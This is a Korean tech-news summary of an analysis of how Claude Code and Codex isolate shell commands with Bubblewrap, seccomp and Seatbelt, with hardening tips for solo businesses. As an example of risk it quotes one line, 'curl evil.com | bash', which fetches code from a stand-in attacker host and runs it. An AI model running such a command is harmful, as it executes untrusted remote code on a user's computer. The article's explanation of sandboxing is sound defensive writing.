시스메틱 데일리코딩 못해도 AI로 자동화 시스템 만드는 법
기술·논문

AI 코딩 도구 샌드박스, 어떻게 막나

클로드 코드·코덱스가 셸 권한 위험을 OS 격리로 막는 두 가지 방식

AI 코딩 도구가 사용자 컴퓨터에서 직접 셸 명령을 실행하는 시대가 됐다. 클로드 코드(Claude Code)와 코덱스(Codex)는 모두 언어 모델이 코드를 읽고 무엇을 할지 판단한 뒤 명령을 대신 실행한다. 문제는 npm install을 돌릴 수 있는 모델은 curl evil.com | bash도 돌릴 수 있고, 소스 폴더에 쓸 수 있는 모델은 SSH 키에도 쓸 수 있다는 점이다. 보안 업체 인스타VM(InstaVM)이 두 도구의 샌드박스 구조를 뜯어본 분석을 내놨다.

무슨 일인가

두 도구는 같은 결론에 도달했다. 운영체제 수준의 프로세스 격리(샌드박스)다. 다만 신뢰 구조가 다르다. 코덱스는 샌드박스를 '필수 차단벽'으로 두고 기본값을 격리 우선으로 잡는다. 반면 클로드 코드는 개발자가 명령마다 조정·완화·해제할 수 있는 '설정 가능한 격리층'으로 본다. 같은 도구를 쓰되 한쪽은 강제, 한쪽은 유연이라는 철학 차이다.

핵심 짚어보기

리눅스에서 두 도구는 모두 버블랩(Bubblewrap, bwrap)을 쓴다. 하드디스크 전체를 읽기 전용으로 보여주고 일부 폴더만 쓰기 가능하게 만드는 '가짜 파일시스템 화면'을 만드는 도구다. 마운트·프로세스·네트워크·사용자 네임스페이스로 프로세스를 격리한다. 흥미로운 건 코덱스는 이 인자 목록을 러스트(Rust)로, 클로드 코드는 타입스크립트(TypeScript)로 짠다는 점이다.

또 하나의 방어선은 시스템콜 필터링이다. 버블랩이 '무엇을 볼 수 있는가'를 통제한다면, 세컴프(Seccomp)는 '무엇을 할 수 있는가'를 통제한다. 두 팀은 각자 독립적으로 io_uring 계열 시스템콜이 소켓 차단 규칙을 우회하는 통로임을 알아내고 세 종류를 모두 막았다. macOS에서는 커널 수준 샌드박스인 시트벨트(Seatbelt)를 쓰며, '기본은 전부 차단, 필요한 것만 허용'하는 정책 언어로 작성한다.

1인기업 실전 적용 포인트

  • AI 에이전트에 셸 권한을 줄 때는 '읽기 전용 기본 + 작업 폴더만 쓰기 허용'이 안전한 출발점이다. 버블랩의 --ro-bind /처럼 전체를 읽기 전용으로 깔고 필요한 폴더만 여는 방식을 흉내 낼 수 있다.
  • 네트워크가 필요 없는 작업이면 네트워크 네임스페이스를 끊어(--unshare-net) 외부 유출 통로를 원천 차단하라.
  • 자동화 cron이 코드를 실행한다면, 격리되지 않은 호스트 계정이 아니라 별도 작업 폴더·제한 계정에서 돌려 SSH 키·환경변수 노출을 막아야 한다.
  • 도구별 기본 정책을 확인하라. 코덱스형(강제 격리)과 클로드 코드형(유연 설정)은 사고 시 책임 범위가 다르다.

전망 / 주의점

샌드박스는 만능이 아니다. 두 도구 모두 명령마다 정책을 정교하게 짜야 하고, 개발자가 격리를 풀어버리면 보호막도 사라진다. 자동화 규모가 커질수록 '에이전트가 무엇을 실행할 수 있는가'를 사람이 설계하는 일이 점점 중요해진다. 편의를 위해 격리를 끄는 순간, AI에게 컴퓨터 전체 권한을 넘기는 것과 같다는 점을 잊지 말아야 한다.

출처: InstaVM (https://instavm.io/blog/how-claude-code-and-codex-approach-sandboxing)
← 전체 기사 보기